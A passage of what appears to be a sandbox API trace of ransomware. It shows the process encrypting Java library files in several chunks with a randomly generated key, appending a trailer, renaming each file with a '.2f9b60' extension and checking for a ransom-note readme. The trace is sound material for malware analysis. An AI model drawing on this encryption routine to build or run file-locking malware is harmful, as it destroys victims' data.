RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504b10) returned 1 [0147.315] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504990) returned 1 Thread: id = 2096 os_tid = 0x13e8 [0138.595] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\resources.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\resources.jar")) returned 0x20 [0140.346] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\resources.jar", dwFileAttributes=0x20) returned 1 [0140.825] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\resources.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\resources.jar"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1fc8 [0141.973] GetFileSizeEx (in: hFile=0x1fc8, lpFileSize=0x3542fc00 | out: lpFileSize=0x3542fc00*=2450112) returned 1 [0141.973] SetFilePointerEx (in: hFile=0x1fc8, liDistanceToMove=0x2562bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.973] ReadFile (in: hFile=0x1fc8, lpBuffer=0x3542fb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3542fbc8, lpOverlapped=0x0 | out: lpBuffer=0x3542fb80*, lpNumberOfBytesRead=0x3542fbc8*=0x4, lpOverlapped=0x0) returned 1 [0142.025] SetFilePointerEx (in: hFile=0x1fc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe200 [0142.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe440 [0142.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd690 [0142.026] NtQuerySystemTime (in: CurrentTime=0x3542fac0 | out: CurrentTime=0x3542fac0*=132462177472714000) returned 0x0 [0142.026] RtlRandomEx (in: Seed=0x3542fab0 | out: Seed=0x3542fab0) returned 0x447d3622 [0142.026] RtlRandomEx (in: Seed=0x3542fab0 | out: Seed=0x3542fab0) returned 0x35fee611 [0142.026] RtlRandomEx (in: Seed=0x3542fab0 | out: Seed=0x3542fab0) returned 0x23fb1a6e [0142.026] RtlRandomEx (in: Seed=0x3542fab0 | out: Seed=0x3542fab0) returned 0x145a5df3 [0142.026] RtlRandomEx (in: Seed=0x3542fab0 | out: Seed=0x3542fab0) returned 0x4ae4a1c7 [0142.026] RtlRandomEx (in: Seed=0x3542fab0 | out: Seed=0x3542fab0) returned 0x225d50 [0142.026] RtlRandomEx (in: Seed=0x3542fab0 | out: Seed=0x3542fab0) returned 0x495782d3 [0142.026] RtlRandomEx (in: Seed=0x3542fab0 | out: Seed=0x3542fab0) returned 0x2e57ad43 [0142.026] RtlRandomEx (in: Seed=0x3542fab0 | out: Seed=0x3542fab0) returned 0x49269159 [0142.027] RtlRandomEx (in: Seed=0x3542fab0 | out: Seed=0x3542fab0) returned 0x62da9e05 [0142.027] RtlRandomEx (in: Seed=0x3542fab0 | out: Seed=0x3542fab0) returned 0x64d0f5c0 [0142.027] RtlRandomEx (in: Seed=0x3542fab0 | out: Seed=0x3542fab0) returned 0x467f5f22 [0142.027] RtlRandomEx (in: Seed=0x3542fab0 | out: Seed=0x3542fab0) returned 0x4426cbc8 [0142.027] RtlRandomEx (in: Seed=0x3542fab0 | out: Seed=0x3542fab0) returned 0x577a2d3f [0142.027] RtlRandomEx (in: Seed=0x3542fab0 | out: Seed=0x3542fab0) returned 0x69cf3ec9 [0142.027] RtlRandomEx (in: Seed=0x3542fab0 | out: Seed=0x3542fab0) returned 0x4327df19 [0142.027] RtlRandomEx (in: Seed=0x3542fab0 | out: Seed=0x3542fab0) returned 0x5afd7a45 [0142.027] RtlRandomEx (in: Seed=0x3542fab0 | out: Seed=0x3542fab0) returned 0x960777f [0142.027] RtlRandomEx (in: Seed=0x3542fab0 | out: Seed=0x3542fab0) returned 0x46548662 [0142.027] RtlRandomEx (in: Seed=0x3542fab0 | out: Seed=0x3542fab0) returned 0x7e433b94 [0142.027] RtlRandomEx (in: Seed=0x3542fab0 | out: Seed=0x3542fab0) returned 0x7d9532 [0142.027] RtlRandomEx (in: Seed=0x3542fab0 | out: Seed=0x3542fab0) returned 0x725cccfe [0142.027] RtlRandomEx (in: Seed=0x3542fab0 | out: Seed=0x3542fab0) returned 0x3b5752bf [0142.027] RtlRandomEx (in: Seed=0x3542fab0 | out: Seed=0x3542fab0) returned 0xdd1e1a0 [0142.027] RtlRandomEx (in: Seed=0x3542fab0 | out: Seed=0x3542fab0) returned 0x4203e1b0 [0142.027] RtlRandomEx (in: Seed=0x3542fab0 | out: Seed=0x3542fab0) returned 0x3d9c26b3 [0142.027] RtlRandomEx (in: Seed=0x3542fab0 | out: Seed=0x3542fab0) returned 0x625d7128 [0142.027] RtlRandomEx (in: Seed=0x3542fab0 | out: Seed=0x3542fab0) returned 0x50fdc592 [0142.027] RtlRandomEx (in: Seed=0x3542fab0 | out: Seed=0x3542fab0) returned 0x36a0cfae [0142.027] RtlRandomEx (in: Seed=0x3542fab0 | out: Seed=0x3542fab0) returned 0x55126e67 [0142.027] RtlRandomEx (in: Seed=0x3542fab0 | out: Seed=0x3542fab0) returned 0x2f340495 [0142.027] RtlRandomEx (in: Seed=0x3542fab0 | out: Seed=0x3542fab0) returned 0x2e57ad43 [0142.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe3b0 [0142.036] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061930 [0142.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe4a0 [0142.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061930) returned 1 [0142.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd690) returned 1 [0142.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe200) returned 1 [0142.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422901c0 [0142.037] SetFilePointerEx (in: hFile=0x1fc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.037] ReadFile (in: hFile=0x1fc8, lpBuffer=0x422901c0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3542fb20, lpOverlapped=0x0 | out: lpBuffer=0x422901c0*, lpNumberOfBytesRead=0x3542fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0142.081] SetFilePointerEx (in: hFile=0x1fc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0142.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061ab0 [0142.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe5f0 [0142.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe5f0) returned 1 [0142.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4224f200 [0142.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe5f0 [0142.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.083] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061ab0) returned 1 [0142.083] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0142.083] WriteFile (hFile=0x1fc8, lpBuffer=0x4224f200, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3542fb20, lpOverlapped=0x0) [0170.852] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4224f200) returned 1 [0170.852] SetFilePointerEx (in: hFile=0x1fc8, liDistanceToMove=0x12c000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.852] ReadFile (in: hFile=0x1fc8, lpBuffer=0x422901c0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3542fb20, lpOverlapped=0x0 | out: lpBuffer=0x422901c0*, lpNumberOfBytesRead=0x3542fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0170.924] SetFilePointerEx (in: hFile=0x1fc8, liDistanceToMove=0x12c000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97490 [0170.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0170.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263fb0 [0170.925] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263fb0) returned 1 [0170.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42112140 [0170.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263fb0 [0170.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202611f0 [0170.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202611f0) returned 1 [0170.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0170.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0170.927] WriteFile (in: hFile=0x1fc8, lpBuffer=0x42112140*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3542fb20, lpOverlapped=0x0 | out: lpBuffer=0x42112140*, lpNumberOfBytesWritten=0x3542fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0194.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42112140) returned 1 [0194.657] SetFilePointerEx (in: hFile=0x1fc8, liDistanceToMove=0x2526c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.657] ReadFile (in: hFile=0x1fc8, lpBuffer=0x422901c0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3542fb20, lpOverlapped=0x0 | out: lpBuffer=0x422901c0*, lpNumberOfBytesRead=0x3542fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0194.816] SetFilePointerEx (in: hFile=0x1fc8, liDistanceToMove=0x2526c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c150 [0194.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505090 [0194.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac22d0 [0194.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac22d0) returned 1 [0194.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203518d0 [0194.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac22d0 [0194.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac1fa0 [0194.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac1fa0) returned 1 [0194.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0194.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c150) returned 1 [0194.820] WriteFile (in: hFile=0x1fc8, lpBuffer=0x203518d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3542fb20, lpOverlapped=0x0 | out: lpBuffer=0x203518d0*, lpNumberOfBytesWritten=0x3542fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0210.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203518d0) returned 1 [0210.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x430ea240 [0210.580] SetFilePointerEx (in: hFile=0x1fc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0210.580] WriteFile (in: hFile=0x1fc8, lpBuffer=0x134260*, nNumberOfBytesToWrite=0x14c, lpNumberOfBytesWritten=0x3542fbd0, lpOverlapped=0x0 | out: lpBuffer=0x134260*, lpNumberOfBytesWritten=0x3542fbd0*=0x14c, lpOverlapped=0x0) returned 1 [0215.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bf70 [0215.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb860 [0215.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe2f0 [0215.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe2f0) returned 1 [0215.245] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x204fe2f0 [0215.245] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe290 [0215.245] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdc90 [0215.246] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdc90) returned 1 [0215.246] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb860) returned 1 [0215.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bf70) returned 1 [0215.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1b7d8500 [0215.247] sprintf (in: _Dest=0x1b7d8500, _Format="%c%c" | out: _Dest="71") returned 2 [0215.247] sprintf (in: _Dest=0x1b7d8502, _Format="%c%c" | out: _Dest="c8") returned 2 [0215.247] sprintf (in: _Dest=0x1b7d8504, _Format="%c%c" | out: _Dest="93") returned 2 [0215.247] sprintf (in: _Dest=0x1b7d8506, _Format="%c%c" | out: _Dest="ca") returned 2 [0215.247] sprintf (in: _Dest=0x1b7d8508, _Format="%c%c" | out: _Dest="bc") returned 2 [0215.247] sprintf (in: _Dest=0x1b7d850a, _Format="%c%c" | out: _Dest="b9") returned 2 [0215.248] sprintf (in: _Dest=0x1b7d850c, _Format="%c%c" | out: _Dest="d6") returned 2 [0215.248] sprintf (in: _Dest=0x1b7d850e, _Format="%c%c" | out: _Dest="c8") returned 2 [0215.248] sprintf (in: _Dest=0x1b7d8510, _Format="%c%c" | out: _Dest="d0") returned 2 [0215.248] sprintf (in: _Dest=0x1b7d8512, _Format="%c%c" | out: _Dest="fe") returned 2 [0215.248] sprintf (in: _Dest=0x1b7d8514, _Format="%c%c" | out: _Dest="97") returned 2 [0215.248] sprintf (in: _Dest=0x1b7d8516, _Format="%c%c" | out: _Dest="f5") returned 2 [0215.248] sprintf (in: _Dest=0x1b7d8518, _Format="%c%c" | out: _Dest="d3") returned 2 [0215.248] sprintf (in: _Dest=0x1b7d851a, _Format="%c%c" | out: _Dest="56") returned 2 [0215.248] sprintf (in: _Dest=0x1b7d851c, _Format="%c%c" | out: _Dest="f2") returned 2 [0215.248] sprintf (in: _Dest=0x1b7d851e, _Format="%c%c" | out: _Dest="f7") returned 2 [0215.248] sprintf (in: _Dest=0x1b7d8520, _Format="%c%c" | out: _Dest="57") returned 2 [0215.248] sprintf (in: _Dest=0x1b7d8522, _Format="%c%c" | out: _Dest="9e") returned 2 [0215.248] sprintf (in: _Dest=0x1b7d8524, _Format="%c%c" | out: _Dest="6c") returned 2 [0215.248] sprintf (in: _Dest=0x1b7d8526, _Format="%c%c" | out: _Dest="5b") returned 2 [0215.248] sprintf (in: _Dest=0x1b7d8528, _Format="%c%c" | out: _Dest="7c") returned 2 [0215.248] sprintf (in: _Dest=0x1b7d852a, _Format="%c%c" | out: _Dest="16") returned 2 [0215.248] sprintf (in: _Dest=0x1b7d852c, _Format="%c%c" | out: _Dest="df") returned 2 [0215.248] sprintf (in: _Dest=0x1b7d852e, _Format="%c%c" | out: _Dest="bb") returned 2 [0215.248] sprintf (in: _Dest=0x1b7d8530, _Format="%c%c" | out: _Dest="9b") returned 2 [0215.249] sprintf (in: _Dest=0x1b7d8532, _Format="%c%c" | out: _Dest="e3") returned 2 [0215.249] RtlInitAnsiString (in: DestinationString=0x3542fc48, SourceString="71c893cabcb9d6c8d0fe97f5d356f2f7579e6c5b7c16dfbb9be3" | out: DestinationString="71c893cabcb9d6c8d0fe97f5d356f2f7579e6c5b7c16dfbb9be3") [0215.249] RtlAnsiStringToUnicodeString (in: DestinationString=0x3542fc18, SourceString="71c893cabcb9d6c8d0fe97f5d356f2f7579e6c5b7c16dfbb9be3", AllocateDestinationString=1 | out: DestinationString="71c893cabcb9d6c8d0fe97f5d356f2f7579e6c5b7c16dfbb9be3") returned 0x0 [0215.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1ceb9e60 [0215.250] wcscat (in: _Dest=0x1cebb860, _Source="71c893cabcb9d" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\71c893cabcb9d") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\71c893cabcb9d" [0215.250] wcscat (in: _Dest=0x1cebb860, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\71c893cabcb9d.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\71c893cabcb9d.2f9b60" [0215.250] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\71c893cabcb9d.2f9b60", NtPathName=0x3542fbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\71c893cabcb9d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0215.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x43187f80 [0238.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43187f80) returned 1 [0238.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b4300) returned 1 [0238.345] NtQueryInformationFile (in: FileHandle=0x1fc8, IoStatusBlock=0x3542fc58, FileInformation=0x3542fc68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3542fc58, FileInformation=0x3542fc68) returned 0x0 [0238.345] NtSetInformationFile (FileHandle=0x1fc8, IoStatusBlock=0x3542fc58, FileInformation=0x3542fc68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0241.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb860) returned 1 [0241.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb9e60) returned 1 [0241.791] FlushFileBuffers (hFile=0x1fc8) returned 1 [0241.793] CloseHandle (hObject=0x1fc8) returned 1 [0242.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f110 [0242.826] wcscpy (in: _Dest=0x1b85f110, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0242.826] wcscat (in: _Dest=0x1b85f110, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" [0242.826] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\2f9b60-readme.txt")) returned 0x20 [0242.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f110) returned 1 [0242.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8644c0) returned 1 Thread: id = 2097 os_tid = 0x13ec [0138.650] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\rt.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\rt.jar")) returned 0x20 [0140.534] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\rt.jar", dwFileAttributes=0x20) returned 1 [0140.828] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\rt.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\rt.jar"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f4c [0141.618] GetFileSizeEx (in: hFile=0x1f4c, lpFileSize=0x3723fb80 | out: lpFileSize=0x3723fb80*=51530798) returned 1 [0141.618] SetFilePointerEx (in: hFile=0x1f4c, liDistanceToMove=0x3124c2a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.618] ReadFile (in: hFile=0x1f4c, lpBuffer=0x3723fb00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3723fb48, lpOverlapped=0x0 | out: lpBuffer=0x3723fb00*, lpNumberOfBytesRead=0x3723fb48*=0x4, lpOverlapped=0x0) returned 1 [0141.728] SetFilePointerEx (in: hFile=0x1f4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe260 [0141.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe290 [0141.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe2c0 [0141.729] NtQuerySystemTime (in: CurrentTime=0x3723fa40 | out: CurrentTime=0x3723fa40*=132462177469750000) returned 0x0 [0141.729] RtlRandomEx (in: Seed=0x3723fa30 | out: Seed=0x3723fa30) returned 0xb3e6b31 [0141.729] RtlRandomEx (in: Seed=0x3723fa30 | out: Seed=0x3723fa30) returned 0x495989d5 [0141.729] RtlRandomEx (in: Seed=0x3723fa30 | out: Seed=0x3723fa30) returned 0x4168f9d4 [0141.729] RtlRandomEx (in: Seed=0x3723fa30 | out: Seed=0x3723fa30) returned 0x12b28a71 [0141.729] RtlRandomEx (in: Seed=0x3723fa30 | out: Seed=0x3723fa30) returned 0x9343a9c [0141.729] RtlRandomEx (in: Seed=0x3723fa30 | out: Seed=0x3723fa30) returned 0xb085951 [0141.729] RtlRandomEx (in: Seed=0x3723fa30 | out: Seed=0x3723fa30) returned 0x69466faa [0141.729] RtlRandomEx (in: Seed=0x3723fa30 | out: Seed=0x3723fa30) returned 0x1d3d4e90 [0141.729] RtlRandomEx (in: Seed=0x3723fa30 | out: Seed=0x3723fa30) returned 0x55cb883 [0141.729] RtlRandomEx (in: Seed=0x3723fa30 | out: Seed=0x3723fa30) returned 0x66dd927b [0141.729] RtlRandomEx (in: Seed=0x3723fa30 | out: Seed=0x3723fa30) returned 0x67c8841 [0141.729] RtlRandomEx (in: Seed=0x3723fa30 | out: Seed=0x3723fa30) returned 0x7bfb1bd5 [0141.729] RtlRandomEx (in: Seed=0x3723fa30 | out: Seed=0x3723fa30) returned 0x48580ab8 [0141.729] RtlRandomEx (in: Seed=0x3723fa30 | out: Seed=0x3723fa30) returned 0x5c1586a3 [0141.729] RtlRandomEx (in: Seed=0x3723fa30 | out: Seed=0x3723fa30) returned 0x48dde1c [0141.729] RtlRandomEx (in: Seed=0x3723fa30 | out: Seed=0x3723fa30) returned 0x634d73a5 [0141.729] RtlRandomEx (in: Seed=0x3723fa30 | out: Seed=0x3723fa30) returned 0x10957362 [0141.729] RtlRandomEx (in: Seed=0x3723fa30 | out: Seed=0x3723fa30) returned 0x48818822 [0141.729] RtlRandomEx (in: Seed=0x3723fa30 | out: Seed=0x3723fa30) returned 0x78fe1493 [0141.729] RtlRandomEx (in: Seed=0x3723fa30 | out: Seed=0x3723fa30) returned 0x3cb71055 [0141.729] RtlRandomEx (in: Seed=0x3723fa30 | out: Seed=0x3723fa30) returned 0x499b92ba [0141.729] RtlRandomEx (in: Seed=0x3723fa30 | out: Seed=0x3723fa30) returned 0x669e6ed2 [0141.729] RtlRandomEx (in: Seed=0x3723fa30 | out: Seed=0x3723fa30) returned 0x3ee8fc6 [0141.729] RtlRandomEx (in: Seed=0x3723fa30 | out: Seed=0x3723fa30) returned 0x677ff4d0 [0141.729] RtlRandomEx (in: Seed=0x3723fa30 | out: Seed=0x3723fa30) returned 0x72f16355 [0141.729] RtlRandomEx (in: Seed=0x3723fa30 | out: Seed=0x3723fa30) returned 0x74e0bb2e [0141.729] RtlRandomEx (in: Seed=0x3723fa30 | out: Seed=0x3723fa30) returned 0x7705d91a [0141.730] RtlRandomEx (in: Seed=0x3723fa30 | out: Seed=0x3723fa30) returned 0x1ce6ebe2 [0141.730] RtlRandomEx (in: Seed=0x3723fa30 | out: Seed=0x3723fa30) returned 0x7e9bd742 [0141.730] RtlRandomEx (in: Seed=0x3723fa30 | out: Seed=0x3723fa30) returned 0x4c5b0162 [0141.730] RtlRandomEx (in: Seed=0x3723fa30 | out: Seed=0x3723fa30) returned 0x23a0f7f [0141.730] RtlRandomEx (in: Seed=0x3723fa30 | out: Seed=0x3723fa30) returned 0x22712d8e [0141.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe2f0 [0141.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420616b0 [0141.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe320 [0141.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420616b0) returned 1 [0141.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe2c0) returned 1 [0141.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe260) returned 1 [0141.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421ca920 [0141.743] SetFilePointerEx (in: hFile=0x1f4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.743] ReadFile (in: hFile=0x1f4c, lpBuffer=0x421ca920, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3723faa0, lpOverlapped=0x0 | out: lpBuffer=0x421ca920*, lpNumberOfBytesRead=0x3723faa0*=0x3c00, lpOverlapped=0x0) returned 1 [0141.804] SetFilePointerEx (in: hFile=0x1f4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f60 [0141.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061430 [0141.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdc90 [0141.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdc90) returned 1 [0141.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4229b5f0 [0141.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdc90 [0141.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd720 [0141.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd720) returned 1 [0141.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061430) returned 1 [0141.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f60) returned 1 [0141.806] WriteFile (hFile=0x1f4c, lpBuffer=0x4229b5f0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3723faa0, lpOverlapped=0x0) [0170.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4229b5f0) returned 1 [0170.997] SetFilePointerEx (in: hFile=0x1f4c, 